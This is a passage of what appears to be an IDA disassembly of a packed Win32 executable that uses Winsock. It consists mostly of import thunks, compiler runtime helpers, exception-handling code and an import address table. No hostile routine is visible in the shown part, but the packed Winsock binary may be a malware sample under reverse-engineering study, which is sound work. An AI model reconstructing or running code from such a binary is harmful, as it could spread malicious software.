		mov	[ebp-1124h], eax
		cmp	eax, edi
		jz	short loc_411438
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411438
		mov	[ebp+var_101C],	edi
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_40A407
		jmp	short loc_4113F0
; ---------------------------------------------------------------------------

loc_411438:				; CODE XREF: sub_4111E8+1ECj
					; sub_4111E8+235j ...
		mov	[ebp+var_4], edi
		jmp	loc_411394
; ---------------------------------------------------------------------------

loc_411440:				; DATA XREF: .packed:004122B8o
		push	offset aLoop	; "loop"
		push	offset aMain	; "main"
		push	[ebp+var_14]
		call	sub_40287C
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------

loc_411456:				; DATA XREF: .packed:004122BCo
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_4], edi
		jmp	loc_4113B0
; ---------------------------------------------------------------------------

loc_411463:				; CODE XREF: sub_4111E8+16Ej
		dec	eax
		jmp	loc_411344
; ---------------------------------------------------------------------------

loc_411469:				; CODE XREF: sub_4111E8+A4j
					; sub_4111E8+B2j
		inc	[ebp+var_1128]
		jmp	loc_41125C
sub_4111E8	endp

; ---------------------------------------------------------------------------
		push	offset aEntry	; "entry"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40287C
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	edi, edi
		cmp	dword_4191D8, edi
		jz	short loc_4114AC
		push	offset dword_4190F8
		push	offset dword_418E50
		call	sub_409659
		pop	ecx
		pop	ecx

loc_4114AC:				; CODE XREF: .packed:00411499j
		call	dword_412264	; WSACleanup
		push	edi
		call	sub_41157C	; exit

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114B8	proc near		; CODE XREF: sub_401000+36p
					; sub_401B81+61p ...
		jmp	dword_41213C
sub_4114B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114BE	proc near		; CODE XREF: sub_40110A+64p
					; sub_4014B0+Bp ...
		jmp	dword_4121D0
sub_4114BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114C4	proc near		; CODE XREF: sub_4011C4+6Dp
					; sub_4014B0+1Ap ...
		jmp	dword_4121CC
sub_4114C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114CA	proc near		; CODE XREF: sub_4011C4+20p
					; sub_4011C4+283p ...
		jmp	dword_4121C8
sub_4114CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114D0	proc near		; CODE XREF: sub_4011C4+18p
					; sub_401621+1Bp ...
		jmp	dword_4121C4
sub_4114D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114D6	proc near		; CODE XREF: sub_4014B0+43p
					; sub_401EA8+84p ...
		jmp	dword_4121C0
sub_4114D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114DC	proc near		; CODE XREF: sub_401571+97p
					; sub_403EA9+170p ...
		jmp	dword_4121BC
sub_4114DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114E2	proc near		; CODE XREF: sub_401571+30p
					; sub_401571+4Bp ...
		jmp	dword_4121B8
sub_4114E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114E8	proc near		; CODE XREF: sub_401621+CFp
					; sub_401621+DDp ...
		jmp	dword_4121B4
sub_4114E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114EE	proc near		; CODE XREF: sub_4018D5+8Ap
					; sub_4027CB+45p ...
		jmp	dword_4121B0
sub_4114EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114F4	proc near		; CODE XREF: sub_401985+150p
					; sub_401B81+120p ...
		jmp	dword_4121AC
sub_4114F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114FA	proc near		; CODE XREF: sub_401985+122p
					; sub_402018+166p ...
		jmp	dword_4121A8
sub_4114FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411500	proc near		; CODE XREF: sub_401985+85p
					; sub_401985+1D8p ...
		jmp	dword_4121A4
sub_411500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411506	proc near		; CODE XREF: sub_401985+42p
					; sub_401B81+F1p ...
		jmp	dword_4121A0
sub_411506	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411510	proc near		; CODE XREF: sub_401B81+1EAp
					; sub_401B81+232p ...
		jmp	dword_41219C
sub_411510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411516	proc near		; CODE XREF: sub_401B81+11Ap
					; sub_401B81+12Bp ...
		jmp	dword_412198
sub_411516	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41151C	proc near		; CODE XREF: sub_401EA8+2Fp
					; sub_401EA8+4Ep ...
		jmp	dword_412194
sub_41151C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411522	proc near		; CODE XREF: sub_402018+DDp
					; sub_408E1A+A2p ...
		jmp	dword_412190
sub_411522	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411528	proc near		; CODE XREF: sub_402018+98p
					; sub_402018+B8p ...
		jmp	dword_41218C
sub_411528	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41152E	proc near		; CODE XREF: sub_402018+47p
					; sub_40311D+1Fp ...
		jmp	dword_412188
sub_41152E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411540	proc near		; CODE XREF: sub_402EFD+8p
					; sub_403E1F+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_411560

loc_41154C:				; CODE XREF: sub_411540+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41154C

loc_411560:				; CODE XREF: sub_411540+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_411540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411570	proc near		; CODE XREF: sub_40324A+Dp
					; sub_40324A+26p ...
		jmp	dword_412184
sub_411570	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411576	proc near		; CODE XREF: sub_404639:loc_404679p
		jmp	dword_412180
sub_411576	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41157C	proc near		; CODE XREF: sub_4050D1+209p
					; .packed:004114B3p
		jmp	dword_41217C
sub_41157C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411590	proc near		; CODE XREF: sub_405ECC+53p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4115B1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_411601
; ---------------------------------------------------------------------------

loc_4115B1:				; CODE XREF: sub_411590+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_4115BF:				; CODE XREF: sub_411590+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4115BF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_4115EA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_4115EA
		jb	short loc_4115F2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4115F2

loc_4115EA:				; CODE XREF: sub_411590+4Aj
					; sub_411590+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_4115F2:				; CODE XREF: sub_411590+52j
					; sub_411590+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_411601:				; CODE XREF: sub_411590+1Fj
		pop	ebx
		retn	10h
sub_411590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411610	proc near		; CODE XREF: sub_405ECC+2Fp
					; sub_405ECC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_411632
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_411673
; ---------------------------------------------------------------------------

loc_411632:				; CODE XREF: sub_411610+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_411640:				; CODE XREF: sub_411610+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_411640
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41166E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41166E
		jb	short loc_41166F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41166F

loc_41166E:				; CODE XREF: sub_411610+4Ej
					; sub_411610+54j
		dec	esi

loc_41166F:				; CODE XREF: sub_411610+56j
					; sub_411610+5Cj
		xor	edx, edx
		mov	eax, esi

loc_411673:				; CODE XREF: sub_411610+20j
		pop	esi
		pop	ebx
		retn	10h
sub_411610	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411678	proc near		; CODE XREF: sub_4063E4+171p
					; sub_406A40+5Ap ...
		jmp	dword_412178
sub_411678	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411680	proc near		; CODE XREF: sub_4067B2+5Fp
					; sub_40682C+A6p
		cmp	cl, 40h
		jnb	short loc_41169A
		cmp	cl, 20h
		jnb	short loc_411690
		shrd	eax, edx, cl
		shr	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_411690:				; CODE XREF: sub_411680+8j
		mov	eax, edx
		xor	edx, edx
		and	cl, 1Fh
		shr	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_41169A:				; CODE XREF: sub_411680+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_411680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4116A0	proc near		; CODE XREF: sub_406A40+53p
					; sub_406AB7+53p ...
		jmp	dword_412174
sub_4116A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4116B0	proc near		; CODE XREF: sub_406A40+40p
					; sub_406AB7+40p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_4116D1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_4116D1:				; CODE XREF: sub_4116B0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_4116ED
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_4116ED:				; CODE XREF: sub_4116B0+27j
		or	eax, eax
		jnz	short loc_411709
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41174A
; ---------------------------------------------------------------------------

loc_411709:				; CODE XREF: sub_4116B0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_411717:				; CODE XREF: sub_4116B0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_411717
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_411745
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_411745
		jb	short loc_411746
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_411746

loc_411745:				; CODE XREF: sub_4116B0+85j
					; sub_4116B0+8Bj
		dec	esi

loc_411746:				; CODE XREF: sub_4116B0+8Dj
					; sub_4116B0+93j
		xor	edx, edx
		mov	eax, esi

loc_41174A:				; CODE XREF: sub_4116B0+57j
		dec	edi
		jnz	short loc_411754
		neg	edx
		neg	eax
		sbb	edx, 0

loc_411754:				; CODE XREF: sub_4116B0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_4116B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41175A	proc near		; DATA XREF: sub_406BBC+Ao
					; sub_406CB2+Ao ...
		jmp	dword_412170
sub_41175A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411760	proc near		; CODE XREF: sub_406C5D+31p
					; sub_406D58+D0p
		jmp	dword_41216C
sub_411760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411766	proc near		; CODE XREF: sub_406D58+A4p
		jmp	dword_412168
sub_411766	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41176C	proc near		; CODE XREF: sub_407237+B0p
					; sub_407237+B6p ...
		jmp	dword_412164
sub_41176C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411772	proc near		; CODE XREF: sub_407237+3Ep
					; sub_407237+62p
		jmp	dword_412160
sub_411772	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411778	proc near		; CODE XREF: sub_407237+19p
					; sub_4072FC+16Fp
		jmp	dword_41215C
sub_411778	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41177E	proc near		; CODE XREF: sub_40765C+E0p
					; sub_407A76+165p ...
		jmp	dword_412158
sub_41177E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411784	proc near		; CODE XREF: sub_4079AC+54p
		jmp	dword_412154
sub_411784	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41178A	proc near		; CODE XREF: sub_407A76+E87p
					; .packed:0040B657p ...
		jmp	dword_412150
sub_41178A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411790	proc near		; CODE XREF: sub_4095E7+38p
					; sub_409659+38p ...
		jmp	dword_41214C
sub_411790	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411796	proc near		; CODE XREF: sub_40A7C4+31p
					; sub_40A7C4+54p
		jmp	dword_412148
sub_411796	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41179C	proc near		; CODE XREF: sub_40A82E+2Fp
					; sub_40A82E+58p
		jmp	dword_412144
sub_41179C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4117A2	proc near		; CODE XREF: sub_40A82E+17p
		jmp	dword_412140
sub_4117A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4117A8	proc near		; CODE XREF: sub_40C135+67p
					; sub_40CEBE+301p ...
		jmp	dword_412138
sub_4117A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4117AE	proc near		; CODE XREF: sub_40CEBE+3AFp
					; sub_40CEBE+425p
		jmp	dword_412134
sub_4117AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4117B4	proc near		; CODE XREF: sub_40CEBE+1E5p
					; sub_40CEBE+23Cp
		jmp	dword_412130
sub_4117B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4117BA	proc near		; CODE XREF: sub_40CEBE+1AAp
		jmp	dword_41212C
sub_4117BA	endp

; ---------------------------------------------------------------------------

loc_4117C0:				; CODE XREF: .packed:00411985j
		jmp	dword_412128
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4117C8	proc near		; CODE XREF: sub_4101E6+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_4117C8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4117E8	proc near		; CODE XREF: sub_403767+2Fp
					; sub_403767+151p ...
		jmp	dword_41220C
sub_4117E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4117F0	proc near		; CODE XREF: sub_4101E6+6Dp
					; sub_4101E6+DAp ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_41185F
		retn	4
sub_4117F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4117FE	proc near		; CODE XREF: sub_4101E6+8Cp
					; sub_4101E6+15Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_411850
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_419170
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_411850
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_411850
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	dword_4121DC
		test	eax, eax
		jz	short loc_411850
		and	[ebp+var_4], 0

loc_411850:				; CODE XREF: sub_4117FE+Dj
					; sub_4117FE+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41185F
		leave
		retn	0Ch
sub_4117FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41185F	proc near		; CODE XREF: sub_4117F0+6p
					; sub_4117FE+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_411883
		lea	eax, [ebp+var_10]
		push	offset dword_4123C8
		push	eax
		call	sub_411952	; _CxxThrowException
sub_41185F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_411883	proc near		; CODE XREF: sub_41185F+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_4122C4
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4118AF
		cmp	[esp+4+arg_8], 0
		jz	short loc_4118AF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]

loc_4118AF:				; CODE XREF: sub_411883+1Dj
					; sub_411883+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_411883	endp


; =============== S U B	R O U T	I N E =======================================



sub_4118B5	proc near		; DATA XREF: .packed:off_4122C4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4118FE
		test	[esp+4+arg_0], 1
		jz	short loc_4118CB
		push	esi
		call	sub_41176C	; ??3@YAXPAX@Z
		pop	ecx

loc_4118CB:				; CODE XREF: sub_4118B5+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4118B5	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_4122C4
		jz	short loc_4118F8
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]

loc_4118F8:				; CODE XREF: .packed:004118F0j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4118FE	proc near		; CODE XREF: sub_4118B5+3p
					; DATA XREF: .packed:004123CCo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_4122C4
		test	eax, eax
		jz	short loc_411914
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_411914:				; CODE XREF: sub_4118FE+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_411922
		push	esi
		call	dword_4120B4	; LocalFree

loc_411922:				; CODE XREF: sub_4118FE+1Bj
		pop	esi
		retn
sub_4118FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411924	proc near		; CODE XREF: sub_4011C4+C1p
					; sub_4050D1+90p ...
		jmp	dword_4121D4
sub_411924	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41192A	proc near		; CODE XREF: sub_401B81+C9p
					; sub_402C11+101p ...
		jmp	dword_412118
sub_41192A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411930	proc near		; CODE XREF: sub_402230+B1p
					; sub_402230+1ABp ...
		jmp	dword_41211C
sub_411930	endp


; =============== S U B	R O U T	I N E =======================================



sub_411936	proc near		; DATA XREF: .packed:off_4122CCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_411958	; ??1type_info@@UAE@XZ
		test	[esp+4+arg_0], 1
		jz	short loc_41194C
		push	esi
		call	sub_41176C	; ??3@YAXPAX@Z
		pop	ecx

loc_41194C:				; CODE XREF: sub_411936+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411936	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411952	proc near		; CODE XREF: sub_41185F+1Fp
		jmp	dword_412120
sub_411952	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411958	proc near		; CODE XREF: sub_411936+3p
		jmp	dword_412124
sub_411958	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-14h]
		jmp	loc_41098C
; ---------------------------------------------------------------------------

loc_411968:				; DATA XREF: .packed:0041238Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_41098C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	loc_41098C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_41098C
; ---------------------------------------------------------------------------

loc_411980:				; DATA XREF: sub_4101E6o
		mov	eax, offset dword_412360
		jmp	loc_4117C0
; ---------------------------------------------------------------------------
		align 4
		dd 19Dh	dup(0)
dword_412000	dd 12D72h		; DATA XREF: sub_401000+55r
					; sub_404ACF+116r ...
dword_412004	dd 12D60h		; DATA XREF: sub_401000+B2r
					; sub_404EDC+91r
dword_412008	dd 12D82h		; DATA XREF: sub_401000+22r
dword_41200C	dd 12D92h		; DATA XREF: sub_404ACF+14Dr
					; sub_405FF3+20Ar ...
dword_412010	dd 12DA6h		; DATA XREF: sub_404EDC+83r
dword_412014	dd 12DB8h		; DATA XREF: sub_404EDC+24r
dword_412018	dd 12DCAh		; DATA XREF: sub_405FF3+A4r
dword_41201C	dd 12DDAh		; DATA XREF: sub_40B31E+59r
dword_412020	dd 12DF0h		; DATA XREF: sub_40B31E+1Er
dword_412024	dd 12E02h		; DATA XREF: sub_40B31E+18r
dword_412028	dd 12D52h		; DATA XREF: sub_401000+EBr
					; sub_404ACF+226r ...
		align 10h
dword_412030	dd 77E65F4Ch		; DATA XREF: sub_405FF3+B2r
dword_412034	dd 77E7C657h		; DATA XREF: sub_405FF3+D6r
					; sub_409277+1D3r ...
dword_412038	dd 77E7513Ch		; DATA XREF: sub_405F9A+8r
dword_41203C	dd 77E705C5h		; DATA XREF: sub_404FA8+3Br
dword_412040	dd 77E74672h		; DATA XREF: sub_404EDC+6Br
					; sub_4101E6+4C7r
dword_412044	dd 77E705B0h		; DATA XREF: sub_404E31+18r
dword_412048	dd 77E7A837h		; DATA XREF: sub_404E31+30r
					; sub_404FEB+80r ...
dword_41204C	dd 77E73CE2h		; DATA XREF: sub_404E31+67r
dword_412050	dd 77E7011Ah		; DATA XREF: sub_404E31+9Dr
dword_412054	dd 77E704FCh		; DATA XREF: sub_404D00+16r
					; sub_404DAD+15r ...
dword_412058	dd 77E77CCEh		; DATA XREF: sub_40311D+38r
dword_41205C	dd 77E805D8h		; DATA XREF: sub_402D7B+2r
					; sub_4045B7+12r ...
dword_412060	dd 77E7A5FDh		; DATA XREF: sub_402D7B+Fr
					; sub_4045B7+1Fr ...
dword_412064	dd 77E75CB5h		; DATA XREF: sub_40287C+190r
					; sub_4052DF+E6r ...
dword_412068	dd 77E6BD13h		; DATA XREF: sub_402230+CCr
					; sub_4050D1+123r
dword_41206C	dd 77F5157Dh		; DATA XREF: sub_402230+DAr
					; sub_407237+8Br ...
dword_412070	dd 77E79D8Ch		; DATA XREF: sub_4018A7+20r
					; sub_404FEB+BCr ...
dword_412074	dd 77E6CBF9h		; DATA XREF: sub_401621+50r
dword_412078	dd 77E7727Ah		; DATA XREF: sub_401621+64r
dword_41207C	dd 77E76C1Ah		; DATA XREF: sub_405FF3+2Fr
dword_412080	dd 77E79CE3h		; DATA XREF: sub_401621+BAr
dword_412084	dd 77E61BB8h		; DATA XREF: sub_401621+11Cr
					; sub_4050D1+1FCr
dword_412088	dd 77EB7624h		; DATA XREF: sub_401621+193r
dword_41208C	dd 77E7FF65h		; DATA XREF: sub_401621+1B3r
dword_412090	dd 77E78B82h		; DATA XREF: sub_401621+210r
dword_412094	dd 77E79F93h		; DATA XREF: sub_4011C4+A5r
					; sub_40287C+151r ...
dword_412098	dd 77E7A099h		; DATA XREF: sub_4011C4+ACr
					; sub_40287C+158r ...
dword_41209C	dd 77E706B7h		; DATA XREF: sub_4011C4+E5r
					; sub_404639+110r ...
dword_4120A0	dd 77E61A54h		; DATA XREF: sub_4011C4+12Dr
					; sub_40495C+7Cr
dword_4120A4	dd 77E61BE6h		; DATA XREF: sub_4011C4+1F0r
					; sub_4011C4+299r ...
dword_4120A8	dd 77E616B4h		; DATA XREF: sub_4011C4+22Dr
					; sub_404A33+2Er
dword_4120AC	dd 77E77963h		; DATA XREF: sub_4011C4+255r
					; sub_4011C4+274r ...
dword_4120B0	dd 77E70396h		; DATA XREF: sub_40110A+15r
					; sub_4050D1:loc_405263r
dword_4120B4	dd 77E79A45h		; DATA XREF: sub_4118FE+1Er
dword_4120B8	dd 77E73628h		; DATA XREF: sub_40110A+24r
					; sub_401985+30r ...
dword_4120BC	dd 77E7AC37h		; DATA XREF: sub_40756C+D0r
dword_4120C0	dd 77E75090h		; DATA XREF: sub_409843+71r
dword_4120C4	dd 77E74D76h		; DATA XREF: sub_409843+3Dr
dword_4120C8	dd 77E77797h		; DATA XREF: sub_409843+2Cr
dword_4120CC	dd 0			; DATA XREF: sub_4067B2+3Er
					; sub_40682C+10Fr
dword_4120D0	dd 12B66h		; DATA XREF: sub_4067B2+15r
					; sub_40682C+6Cr ...
dword_4120D4	dd 12B76h		; DATA XREF: sub_406A40:loc_406AA1r
					; sub_406AB7:loc_406B18r ...
dword_4120D8	dd 12B86h		; DATA XREF: sub_406A40+14r
					; sub_406AB7+14r ...
dword_4120DC	dd 12BA2h		; DATA XREF: sub_406A40+Ar
					; sub_406AB7+Ar ...
dword_4120E0	dd 12BBCh		; DATA XREF: sub_406BBC+40r
dword_4120E4	dd 12BCCh		; DATA XREF: sub_406F84+6Br
					; sub_406F84:loc_40707Cr
dword_4120E8	dd 12BDEh		; DATA XREF: sub_4071D2+26r
dword_4120EC	dd 12BFAh		; DATA XREF: sub_407200+4r
dword_4120F0	dd 1297Eh		; DATA XREF: sub_4011C4:loc_40124Ar
					; sub_404A33+14r
